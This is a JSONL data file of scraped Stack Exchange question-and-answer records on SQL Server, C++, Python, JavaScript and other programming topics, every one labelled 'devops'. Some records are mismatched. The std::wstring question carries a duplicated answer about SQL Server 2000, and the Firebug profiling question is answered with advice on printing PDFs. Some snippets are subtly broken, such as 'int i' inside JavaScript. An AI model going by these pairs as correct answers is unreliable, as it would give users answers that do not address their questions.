"2026-01-17T15:26:24.484501"}
{"id": "hf_1b7090964033", "question": "<p>I have never clearly understood the usage of <code>MAXDOP</code>. I do know that it makes the query faster and that it is the last item that I can use for Query Optimization.</p>\n<p>However, my question is, when and where it is best suited to use in a query?</p>\n", "question_body": "", "answer": "This is a general rambling on Parallelism in SQL Server, it might not answer your question directly.\nFrom Books Online, on MAXDOP:\nSets the maximum number of processors\n  the query processor can use to execute\n  a single index statement. Fewer\n  processors may be used depending on\n  the current system workload.\nSee\nRickie Lee's blog\non parallelism and CXPACKET wait type. It's quite interesting.\nGenerally, in an OLTP database, my opinion is that if a query is so costly it needs to be executed on several processors, the query needs to be re-written into something more efficient.\nWhy you get better results adding MAXDOP(1)? Hard to tell without the actual execution plans, but it might be so simple as that the execution plan is totally different that without the OPTION, for instance using a different index (or more likely) JOINing differently, using MERGE or HASH joins.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.520390"}
{"id": "hf_ba3992504754", "question": "<p>What are some good algorithms for automatically labeling text with the city / region  or origin?  That is, if a blog is about New York, how can I tell programatically.  Are there packages / papers that claim to do this with any degree of certainty?  </p>\n\n<p>I have looked at some tfidf based approaches, proper noun intersections, but so far, no spectacular successes, and I'd appreciate ideas!  </p>\n\n<p>The more general question is about assigning texts to topics, given some list of topics.</p>\n\n<p>Simple / naive approaches preferred to full on Bayesian approaches, but I'm open.</p>\n", "question_body": "", "answer": "You're looking for a\nnamed entity recognition\nsystem, or short NER. There are\nseveral\ngood\ntoolkits\navailable to help you out. LingPipe in particular has a very\ndecent tutorial\n.\nCAGEclass\nseems to be oriented around NER on geographical place names, but I haven't used it yet.\nHere's\na nice blog entry about the difficulties of NER  with geographical places names.\nIf you're going with Java, I'd recommend using the LingPipe NER classes. OpenNLP also has some, but the former has a better documentation.\nIf you're looking for some theoretical background,\nChavez et al. (2005)\nhave constructed an interesting syntem and documented it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.542589"}
{"id": "hf_82162ca3863e", "question": "<p>I know that you can do this in SQL Server 2005, but I'm at a loss for 2000.</p>\n", "question_body": "", "answer": "From all the research I've done on this in the past, I unfortunately have to say no. SQL Server 2000 simply does not store this information, and I've never seen any solution for retrieving it.\nThere are a few alternative methods, but they all involve user intervention. Besides keeping stored procedure scripts in a source control system, I think the next best approach is to use comments inside the stored procedure. Not ideal, but it's better than nothing if you want to track what gets updated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.577104"}
{"id": "hf_e5875b7fa852", "question": "<p>Up until now I have been using std::string in my C++ applications for embedded system (routers, switches, telco gear, etc.).</p>\n\n<p>For the next project, I am considering to switch from std::string to std::wstring for Unicode support. This would, for example, allow end-users to use Chinese characters in the command line interface (CLI).</p>\n\n<p>What complications / headaches / surprises should I expect? What, for example, if I use a third-party library which still uses std::string?</p>\n\n<p>Since support for international strings isn't that strong of a requirement for the type of embedded systems that I work on, I would only do it if it isn't going to cause major headaches.</p>\n", "question_body": "", "answer": "From all the research I've done on this in the past, I unfortunately have to say no. SQL Server 2000 simply does not store this information, and I've never seen any solution for retrieving it.\nThere are a few alternative methods, but they all involve user intervention. Besides keeping stored procedure scripts in a source control system, I think the next best approach is to use comments inside the stored procedure. Not ideal, but it's better than nothing if you want to track what gets updated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.611804"}
{"id": "hf_fde2d50f96e1", "question": "<p>Is there a connection limit on Sql Server 2005 Developers Edition.  We have many threads grabbing connections, and I know ADO.NET does connection pooling, but I get OutOfMemory exceptions.  We take out the db connections and it works fine. </p>\n", "question_body": "", "answer": "You may not be closing or disposing of your connection objects correctly.  Make sure your code looks something like this:\n```\n```\nusing (SqlConnection conn = new SqlConnection(\"connectionstring\"))\n{\n    conn.Open();\n\n    // database access code goes here\n}\n```\n```\nThe using block will automatically close and dispose of your connection object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.694312"}
{"id": "hf_df83e47f1e15", "question": "<p>Should log classes open/close a log file stream on each write to the log file or should it keep the log file stream open throughout the application's lifetime until all logging is complete?  </p>\n\n<p>I'm asking in context of a desktop application.  I have seen people do it both ways and was wondering which approach yields the best all-around results for a logger.</p>\n", "question_body": "", "answer": "If you have frequent read/writes it is more efficient to keep the file open for the lifetime with a\nsingle open/close\n.\nYou might want to\nflush periodically or after each write\nthough. If your application crashes you might not have all the data written to your file. Use fflush on Unix-based systems and FlushFileBuffers on Windows.\nIf you are running on Windows as well you can use the CreateFile API with FILE_FLAG_NO_BUFFERING to go direct to the file on each write.\nIt is also\nbetter to keep the file open\nfor the lifetime,\nbecause\neach time you open/close you might have a failure if the file is in use.  For example, you might have\na backup application that runs and opens/closes your file\nas it's backing it up.  And this\nmight cause your program to not be able to access your own file\n.   Ideally, you would want to keep your file open always and specify sharing flags on Windows (FILE_SHARE_READ).  On Unix-based systems, sharing will be default.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.765699"}
{"id": "hf_631327dae877", "question": "<p>in a C program I have an long* that I want to serialize (thus converting to chars). A long doesn't fit in a single char, and the size varies depending of the processor (can be 4 bytes or 8 bytes).</p>\n\n<p>Theres a good way to make the serialization and de-serialization? </p>\n", "question_body": "", "answer": "If you create a char pointer that points to the beginning of the long array, when you increment through the char \"array\", you'll get 8 bits at a time. Be aware, though, that the long won't be null-terminated (necessarily, it might be), so you need to keep track where the end of it is.\nFor example:\n```\n```\nlong list[MAX];\nchar *serial = list;\nint chunk = sizeof(long);\nint k;\nfor(k=0; k<(MAX*chunk); k++){\n  // do something with the \"char\"\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.825043"}
{"id": "hf_224c2b858b17", "question": "<p>For example, suppose I have a class:</p>\n\n<pre><code>class Foo\n{\npublic:\n    std::string&amp; Name()\n    {\n        m_maybe_modified = true;\n        return m_name;\n    }\n\n    const std::string&amp; Name() const\n    {\n        return m_name;\n    }\nprotected:\n    std::string m_name;\n    bool m_maybe_modified;\n};\n</code></pre>\n\n<p>And somewhere else in the code, I have something like this:</p>\n\n<pre><code>Foo *a;\n// Do stuff...\nstd::string name = a-&gt;Name(); // &lt;-- chooses the non-const version\n</code></pre>\n\n<p>Does anyone know why the compiler would choose the non-const version in this case?</p>\n\n<p>This is a somewhat contrived example, but the actual problem we are trying to solve is periodically auto-saving an object if it has changed, and the pointer must be non-const because it might be changed at some point.        </p>\n", "question_body": "", "answer": "Two answers spring to mind:\nThe non-const version is a closer match.\nIf it called the const overload for the non-const case, then under what circumstances would it\never\ncall the non-const overload?\nYou can get it to use the other overload by casting\n```\na\n```\nto a\n```\nconst Foo *\n```\n.\nEdit:\nFrom\nC++ Annotations\nEarlier, in section 2.5.11 the concept\nof function overloading was\nintroduced. There it noted that member\nfunctions may be overloaded merely by\ntheir const attribute. In those cases,\nthe compiler will use the member\nfunction\nmatching most closely the\nconst-qualification of the object:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.881135"}
{"id": "hf_c9cb91c62336", "question": "<p>I have started on a personal python application that runs on the desktop. I am using wxPython as a GUI toolkit. Should there be a demand for this type of application, I would possibly like to commercialize it.</p>\n\n<p>I have no knowledge of deploying \"real-life\" Python applications, though I have used <a href=\"http://www.py2exe.org/\" rel=\"noreferrer\"><code>py2exe</code></a> in the past with varied success. How would I obfuscate the code? Can I somehow deploy only the bytecode?</p>\n\n<p>An ideal solution would not jeopardize my intellectual property (source code), would not require a direct installation of Python (though I'm sure it will need to have some embedded interpreter), and would be cross-platform (Windows, Mac, and Linux). Does anyone know of any tools or resources in this area?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Wow, there are a lot of questions in there:\nIt is possible to run the bytecode (.pyc) file directly from the Python interpreter, but I haven't seen any bytecode obfuscation tools available.\nI'm not aware of any \"all in one\" deployment solution, but:\nFor Windows you could use NSIS(\nhttp://nsis.sourceforge.net/Main_Page\n).  The problem here is that while OSX/*nix comes with python, Windows doesn't.  If you're not willing to build a binary with py2exe, I'm not sure what the licensing issues would be surrounding distribution of the Python runtime environment (not to mention the technical ones).\nYou could package up the OS X distribution using the \"bundle\" format, and *NIX has it's own conventions for installing software-- typically a \"make install\" script.\nHope that was helpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.932007"}
{"id": "hf_b154866226bd", "question": "<p>I have two DataTables, <code>A</code> and <code>B</code>, produced from CSV files.  I need to be able to check which rows exist in <code>B</code> that do not exist in <code>A</code>.</p>\n\n<p>Is there a way to do some sort of query to show the different rows or would I have to iterate through each row on each DataTable to check if they are the same?  The latter option seems to be very intensive if the tables become large.</p>\n", "question_body": "", "answer": "You can use the Merge and GetChanges methods on the DataTable to do this:\n```\n```\nA.Merge(B); // this will add to A any records that are in B but not A\nreturn A.GetChanges(); // returns records originally only in B\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.971620"}
{"id": "hf_ec6f2c524674", "question": "<p>As far as I can tell there's no simple way of retrieving a character offset from a TextRange object in Internet Explorer. The W3C Range object has a node, and the offset into the text within that node. IE seems to just have pixel offsets. There are methods to create, extend and compare ranges, so it would be possible to write an algorithm to calculate the character offset, but I feel I must be missing something.</p>\n\n<p>So, what's the easiest way to calculate the character offset of the start of an Internet Explorer TextRange?</p>\n", "question_body": "", "answer": "You can iterate through the body element's\n```\nTextRange.text\n```\nproperty using\n```\nString.substring()\n```\nto compare against the TextRange for which you want the character offset.\n```\n```\nfunction charOffset(textRange, parentTextRange)\n { var parentTxt = parentTextRange.text;\n   var txt       = textRange.text;\n   var parentLen = parentTxt.length;\n\n   for(int i=0; i < parentLen ; ++i) \n    { if (parentTxt.substring(i, txt.length+i) == txt) \n       { var originalPosition = textRange.getBookmark();\n\n         //moves back one and searches backwards for same text\n         textRange.moveStart(\"character\",-1);\n         var foundOther = textRange.findText(textRange.text,-parentLen,1);\n\n         //if no others were found return offset\n         if (!foundOther) return i;\n\n         //returns to original position to try next offset\n         else textRange.moveToBookmark(originalPosition);\n       }\n    }\n\n   return -1;\n }\n```\n```\n[\nReference for\n```\nfindText()\n```\n]", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:24.995647"}
{"id": "hf_489ea03cde60", "question": "<p>Which is a better format to store graphic assets for a Flex application, SWF or SWC?</p>\n\n<p>Are there any real differences, and if so what are they?</p>\n", "question_body": "", "answer": "SWC is what you use when you're looking for a library to compile into your app. You have access to the classes and can import individual parts. SWF is more likely what you're looking for when embedding graphics.\nHere's the docs you might be interested in:\nhttp://livedocs.adobe.com/flex/3/html/help.html?content=layoutperformance_06.html#223998\nI've been having good success with SVG for images, but there's some caveats since Flex only implements a subset of the features.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.029754"}
{"id": "hf_2bcf882ad8e0", "question": "<p>If I want to construct a std::string with a line like:</p>\n\n<pre><code>std::string my_string(\"a\\0b\");\n</code></pre>\n\n<p>Where i want to have three characters in the resulting string (a, null, b), I only get one.  What is the proper syntax?</p>\n", "question_body": "", "answer": "I have no idea\nwhy\nyou'd want to do such a thing, but try this:\n```\n```\nstd::string my_string(\"a\\0b\", 3);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.076379"}
{"id": "hf_f89ffa14d9f3", "question": "<p>The following code receives seg fault on line 2:</p>\n\n<pre><code>char *str = \"string\";\nstr[0] = 'z';  // could be also written as *str = 'z'\nprintf(\"%s\\n\", str);\n</code></pre>\n\n<p>While this works perfectly well:</p>\n\n<pre><code>char str[] = \"string\";\nstr[0] = 'z';\nprintf(\"%s\\n\", str);\n</code></pre>\n\n<p>Tested with MSVC and GCC.</p>\n", "question_body": "", "answer": "Because the type of\n```\n\"whatever\"\n```\nin the context of the 1st example is\n```\nconst char *\n```\n(even if you assign it to a non-const char*), which means you shouldn't try and write to it.\nThe compiler has enforced this by putting the string in a read-only part of memory, hence writing to it generates a segfault.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.123433"}
{"id": "hf_294fd97118fd", "question": "<p>Specifically, we've got some external JavaScript tracking code on our sites that throws itself into an infinite loop each time an anchor is clicked on.</p>\n\n<p>We don't maintain the tracking code, so we don't know exactly how it works.  Since the code causes the browser to lock up almost immediately, I was wondering if there's anyway to log the results of Firebug's 'profile' functionality to an external file for review?</p>\n", "question_body": "", "answer": "Forget HTML and make a PDF. HTML printing is extremely variable - not just across browsers but across different versions of the same browser. PDF is a lot easier.\nEven if you get it exactly right with one browser / font setup / printer / phase of the moon, it will be the most fragile thing you've ever had to maintain. No matter how long you think it will take to make a PDF (and it's not really that hard as there are some free libraries out there), HTML will ultimately take a lot more of your time. PDF readers are widely deployed and print more consistently than even Word files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.164876"}
{"id": "hf_a630d12289b5", "question": "<p>I have code from PowerBuilder 5 that can't be built. The compiler just stops before it is done without any error codes.</p>\n\n<p>I would like to upgrade the code to the recent version of PowerBuilder but there are some intermediate versions of PowerBuilder that have binary dependencies to an old Microsoft java dll that Microsoft no longer can distribute due to some court case.</p>\n\n<p>So, is there a way to get my code running in a newer environment?</p>\n\n<p>/johan/</p>\n", "question_body": "", "answer": "Very unusual sounding problem.  You could give a try to migrating the code to a more recent version of PowerBuilder and see if it will compile or at least fail but give you some useful error messages.\nI would also recommend posting this in the PowerBuilder section of the Sybase newsgroups. They are very active and full of some brilliant PB minds with lots of experience.  You can find them here:\nhttp://forums.sybase.com", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.228133"}
{"id": "hf_0f5a70a4b0ab", "question": "<p>We are trying to automate a build of one of our products which includes a step where it packages some things with WISE.  At one point WISE pops up a window with a progress bar on it to show how it is doing.  If one is connected to the machine with remote desktop the build works fine but if one is not connected the build stalls until you reconnect at which point the window opens and the build progresses.  Does anybody know of a work around for this?  Some way of tricking windows into believing that there is a desktop session connected?  </p>\n", "question_body": "", "answer": "What version are you using?  Looking at the feature set, it looks like their \"std\" version might be limited.  Perhaps unattended installs require the Pro version?\nThat's just a guess....\nRegardless, I wonder whether you could simply code up an auto-run task for the box that calls\nCreateDesktop\nto pretend there's an interactive login?\nI found a\nCreateDesktop example\nthat's about desktop switching, and\nan example about unattended installs\n-- you might be able to use one of them as a starting point to \"fake out\" WISE :)\nIt might be worth a try...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.251695"}
{"id": "hf_dc3bee9b8010", "question": "<p>I need to get the Folder size and display the info on a report (SSRS). I need to do this for a number of Databases (loop!). These DB's are websites' backends.</p>\n<p>Are any samples available for this? Does xp_filesize and the like the right solution?</p>\n", "question_body": "", "answer": "Could you clarify who should do what in your scenario? Do you want SQL Server do get the info or do you want Reporting Server do that?\nWhat exactly do you mean by \"folder size\"? Is \"one folder, sum up each file\" enough or does it need to be recursive? Either way, I'd go for a little custom .NET function that uses\n```\nSystem.IO.Directory\n```\nand it's relatives.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.322954"}
{"id": "hf_a61ef5ca75cf", "question": "<p>Any XPath like /NodeName/position() would give you the position of the Node w.r.t it's parent node.</p>\n\n<p>There is no method on the XElement (Linq to XML) object that can get the position of the Element. Is there?</p>\n", "question_body": "", "answer": "```\n```\nstatic int Position(this XNode node) {\n  var position = 0;\n  foreach(var n in node.Parent.Nodes()) {\n    if(n == node) {\n      return position;\n    }\n    position++;\n  }\n  return -1;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.346622"}
{"id": "hf_8abe5b491cd9", "question": "<p>How can I make my <code>std::fstream</code> object start reading a text file from the second line?</p>\n", "question_body": "", "answer": "Use getline() to read the first line, then begin reading the rest of the stream.\n```\n```\nifstream stream(\"filename.txt\");\nstring dummyLine;\ngetline(stream, dummyLine);\n// Begin reading your stream here\nwhile (stream)\n   ...\n```\n```\n(Changed to std::getline (thanks  dalle.myopenid.com))", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.393709"}
{"id": "hf_d7320588c082", "question": "<p>I know there is done some research on TDD at the North Carolina State University. They have published a paper called '<a href=\"http://collaboration.csc.ncsu.edu/laurie/Papers/TDDpaperv8.pdf\" rel=\"nofollow noreferrer\">An Initial Investigation of Test Driven Development in Industry</a>'. Other publications by NCSU can be found <a href=\"http://collaboration.csc.ncsu.edu/laurie/publications.html\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>Can anybody point me to other good publications on this topic? </p>\n", "question_body": "", "answer": "The\nACM Digital Library\nhas quite a few papers on TDD.  Simply Search for Test Driven Development.\nThe top results from Google's\nTest driven development academic research\n:\nTest-Driven Development: Concepts, Taxonomy, and Future Direction\nin the IEEE Computer Society.\nsoftware Architecture Improvement through TDD\nat the ACM", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.429199"}
{"id": "hf_9c7dd1c65204", "question": "<p>For example, I'm writing a multi-threaded time-critical application that processes and streams audio in real-time. Interruptions in the audio are totally unacceptable. Does this mean I cannot use the STL because of the potential slow down when an exception is thrown? </p>\n", "question_body": "", "answer": "Generally, the only exceptions that STL containers will throw by themselves is an std::bad_alloc if new fails. The only other times are when user code (for example constructors, assignments, copy constructors) throws. If your user code never throws then you only have to guard against new throwing, which you would have had to do anyways most likely.\nOther things that can throw exceptions:\n- at() functions can throw std::out_of_range if you access them out of bounds. This is a serious program error anyways.\nSecondly, exceptions aren't always slow. If an exception occurs in your audio processing, its probably because of a serious error that you will need to handle anyways. The error handling code is probably going to be significantly more expensive than the exception handling code to transport the exception to the catch site.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.456516"}
{"id": "hf_2071fbf600b9", "question": "<p>I'm wondering if its possible to add new class data members at run-time in PHP?</p>\n", "question_body": "", "answer": "It is. You can add public members are run time with no additional code, and can affect protected/private members using the magical overloading methods __get() / __set(). See\nhere\nfor more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.550949"}
{"id": "hf_6e3ec7dc8c81", "question": "<p>How can I print a message to the error console, preferably including a variable? </p>\n\n<p>For example, something like:</p>\n\n<pre><code>print('x=%d', x);\n</code></pre>\n", "question_body": "", "answer": "Install\nFirebug\nand then you can use\n```\nconsole.log(...)\n```\nand\n```\nconsole.debug(...)\n```\n, etc. (see\nthe documentation\nfor more).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.575080"}
{"id": "hf_498fe62af4ba", "question": "<p>I'm processing a file, line-by-line, and I'd like to do an inverse match.  For instance, I want to match lines where there is a string of six letters, but only if these six letters are not '<em>Andrea</em>'. How should I do that?</p>\n<p>I'm using <a href=\"https://en.wikipedia.org/wiki/RegexBuddy\" rel=\"noreferrer\">RegexBuddy</a>, but still having trouble.</p>\n", "question_body": "", "answer": "```\n```\n(?!Andrea).{6}\n```\n```\nAssuming your regexp engine supports negative lookaheads...\n...or maybe you'd prefer to use\n```\n[A-Za-z]{6}\n```\nin place of\n```\n.{6}\n```\nNote that lookaheads and lookbehinds are generally not the right way to \"inverse\" a regular expression match. Regexps aren't really set up for doing negative matching; they leave that to whatever language you are using them with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.622044"}
{"id": "hf_db0f83c956fb", "question": "<p>The standalone flashplayer takes no arguments other than a .swf file when you launch it from the command line. I need the player to go full screen, no window borders and such. This can be accomplished by hitting ctrl+f once the program has started. I want to do this programmatically as I need it to launch into full screen without any human interaction.</p>\n\n<p>My guess is that I need to some how get a handle to the window and then send it an event that looks like the \"ctrl+f\" keystroke. </p>\n\n<p>If it makes any difference, it looks like flashplayer is a gtk application and I have python with pygtk installed.</p>\n\n<p><b>UPDATE</b> (the solution I used... thanks to ypnos' answer):</p>\n\n<pre><code>./flashplayer http://example.com/example.swf &amp; sleep 3 &amp;&amp; ~/xsendkey -window \"Adobe Flash Player 10\" Control+F\n</code></pre>\n", "question_body": "", "answer": "I've actually done this a long time ago, but it wasn't petty.  What we did is use the\nSawfish window manager\nand wrote a hook to recognize the flashplayer window, then strip all the decorations and snap it full screen.\nThis may be possible without using the window manager, by registering for X window creation events from an external application, but I'm not familiar enough with X11 to tell you how that would be done.\nAnother option would be to write a pygtk application that embedded the standalone flash player inside a gtk.Socket and then resized itself.  After a bit of thought, this might be your best bet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.693285"}
{"id": "hf_968441ac6bdd", "question": "<p>In .NET, if a class contains a member that is a class object, should that member be exposed as a property or with a method?</p>\n", "question_body": "", "answer": "Property. A Property is basically just a 'cheap' method. Getting or setting a reference to an object is pretty cheap.\nJust to clarify, properties are usually supposed to represent the internal state of an object. However, the implementation of a member as a property or method tells the user how expensive the call is likely to be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.764182"}
{"id": "hf_8e8bbbfb2fe9", "question": "<p>Is there a library/software which can accept a number of keypoints and matches of them between images and produce a morph? Or any ideas/algorithms on how to do it?</p>\n", "question_body": "", "answer": "An older piece of software by\nGryphon Software\ncould do image morphing. I saw an article about it from 1994. I couldn't find a company site, so they may be abandon ware now.\nHer is a quote from a Wikipedia article about a film editing\ntechnique called Dissolve\n.\nIn non-linear video editing, a dissolve is done in software, by interpolating gradually between the RGB values of each pixel of the image.\nHope that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.798486"}
{"id": "hf_aa19840455d2", "question": "<p>I need to create reports in a C# .NET Windows app. I've got an SQL Server 2005 database, Visual Studio 2005 and am quite OK with creating stored procedures and datasets.</p>\n\n<p>Can someone please point me in the right direction for creating reports? I just can't seem work it out. Some examples would be a good start, or a simple How-to tutorial... anything really that is a bit better explained than the MSDN docs.</p>\n\n<p>I'm using the CrystalDecisions.Windows.Forms.CrystalReportViewer control to display the reports, I presume this is correct.</p>\n\n<p>If I'm about to embark on a long and complex journey, what's the simplest way to create and display reports that can also be printed?</p>\n", "question_body": "", "answer": "Crystal is one possible option for creating reports. It has been around a long time and a lot of people seem to like it.\nYou might want to take a look at SQL reporting services. I have used both but my preferance is SQL reporting services. Its pretty well integrated into studio and works similar to the other microsoft projects. Its also free with the sql express etc.\nThis is a good article on beginning reporting services:\nhttp://www.simple-talk.com/sql/learn-sql-server/beginning-sql-server-2005-reporting-services-part-1/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.908424"}
{"id": "hf_6fe443b67e6d", "question": "<p>How do I create a grails war file so that it doesn't have the version number</p>\n\n<p>(e.g. foo-0.1.war) </p>\n\n<p>attached to the end when I execute the 'grails war' command?</p>\n", "question_body": "", "answer": "I think you can specify the war name in the war command.\n```\n```\ngrails war foo.war\n```\n```\nAlso check the latest Grails documentation for where to set this as a configuration option. See the other answers for details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.944919"}
{"id": "hf_5f6202a2aa24", "question": "<p>In my C# source code I may have declared integers as:</p>\n\n<pre><code>int i = 5;\n</code></pre>\n\n<p>or</p>\n\n<pre><code>Int32 i = 5;\n</code></pre>\n\n<p>In the currently prevalent 32-bit world they are equivalent. However, as we move into a 64-bit world, am I correct in saying that the following will become the same?</p>\n\n<pre><code>int i = 5;\nInt64 i = 5;\n</code></pre>\n", "question_body": "", "answer": "No. The C# specification rigidly defines that\n```\nint\n```\nis an alias for\n```\nSystem.Int32\n```\nwith exactly 32 bits. Changing this would be a\nmajor\nbreaking change.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:25.976304"}
